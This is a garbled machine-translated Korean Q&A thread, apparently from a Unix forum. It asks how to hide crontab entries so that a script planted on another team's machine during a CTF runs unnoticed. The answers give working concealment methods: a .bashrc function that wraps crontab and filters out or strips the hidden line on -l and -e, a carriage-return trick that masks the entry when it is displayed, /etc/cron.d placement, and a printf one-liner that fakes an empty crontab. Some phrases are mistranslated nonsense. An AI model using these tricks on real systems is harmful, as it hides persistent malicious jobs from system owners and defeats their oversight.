crontab -e
crontab에 항목을 추가하고 사용자가 or 를 사용할 때 표시되지 않도록 숨길 수 있습니까 crontab -l
? 알아요구매력 평가Defcon CTF 도중 기술적인 공격을 받았습니다.
UPD: 저는 최근 CTF에 참석하여 다른 팀의 컴퓨터에 접근했습니다. 나는 그들이 눈치 채지 못하는 방식으로 내 스크립트를 실행하고 싶습니다. 그래서 나는 이런 것을 찾고 있습니다. 따라서 권한이 없는 사용자가 수행할 수 있는 것을 선호하지만 루트 사용자에 대한 답변도 도움이 될 것입니다.
답변1
잘못된 방향으로 항목을 숨기는 매우 간단한 방법이 있습니다(그러나 정밀 조사를 견디지 못합니다).
crontab -l
예를 들어, 동적 출력 방해에 대한 간단한 개념 증명은 다음과 같습니다 .
crontab() {
case "$*" in
(*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
(*) command crontab "$@" ;;
esac
}
쉘 구성 파일에 넣어야 합니다.
약간의 노력을 기울이면 더 유연하게 만들 수 있지만, 그렇게 해도 트릭을 발견할 수 있습니다.cat /var/spool/cron/someuser
몇 가지 아이디어로 유사한 간섭을 이룰 수 있다고 생각합니다 -e
(편집자를 호출하기 전에 필요한 항목을 동적으로 제거하고 편집 후에 교체합니다.)
편집: 실제로 실제 사용자로부터 콘텐츠를 숨기는 더 쉬운 방법이 있습니다 crontab -l
. Ctrl-vCtrl-mVim이 편집자라고 가정할 때 인라인 키 시퀀스( ):
* * * * * /somedir/some_haxx.sh # Ctrl-vCtrl-m# 여기에 무엇이든 넣을 수 있습니다. 이렇게 하면 cron 항목이 무시됩니다. 여기에 많은 공백이나 더미 cron 항목을 넣을 수 있습니다.
편집기에는 그다지 특별한 내용이 표시되지 않습니다( ^M
중앙선 제외). 파일을 저장하고 편집기를 종료합니다. 이 트릭은 명령줄에서 파일을 볼 때만 작동합니다. 여기서 우리가 하는 일은 carriage return
제어 문자를 삽입하는 것입니다. 그러면 표시된 텍스트가 해당 줄 뒤에 오는 모든 내용으로 덮어쓰게 됩니다.
이는 위에서 언급한 단점을 극복 cat
하지만, 편집 중인 사용자에게 이를 숨기려면 연기와 거울이 여전히 필요합니다 crontab -e
. 왜냐하면 편집기는 제어 문자를 ^M
고정된 것으로 표시하기 때문입니다.
답변2
루트로 파일을 생성합니다 /etc/cron.d/
. 아래의 crontab은 및 를 통해 표시하거나 편집 /etc/cron.d/
할 수 없습니다 .crontab -l
crontab -e
man cron
:
이 디렉토리에는 /etc/crontab에서 사용되는 형식 정의 작업을 따르는 모든 파일이 포함될 수 있습니다.
답변3
다크 웹 다이어리에서 PPP에 대해 듣고 같은 질문을 받았습니다. 여기서 답을 찾았습니다.
http://vladz.devzero.fr/004_hide-crontab.html
예:
printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab -
답변4
bxm의 솔루션을 보완하는 다음 함수는 crontab -e
cron 파일( 어딘가에 추가됨 $USER/.bashrc
)을 편집하는 데 사용될 때 문제가 되는 행을 숨깁니다.
crontab() {
case "$*" in
(*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
(*-e*) H=$(grep "some_haxx.sh" /var/spool/cron/$USER); O=$(grep -v "some_haxx.sh" /var/spool/cron/$USER); echo "$O">/var/spool/cron/$USER; command crontab -e; echo "$H" >> /var/spool/cron/$USER ;;
(*) command crontab "$@" ;;
esac
}
cat
CTRL-vCTRL-m그런 다음 Vim bxm에서 언급된 트릭을 사용하여 관련 줄을 숨길 수 있습니다.
사용자가 어떤 이유로 쉘을 변경하거나 bash
with 으로 호출하면 bash --norc
위 기능이 작동하지 않습니다.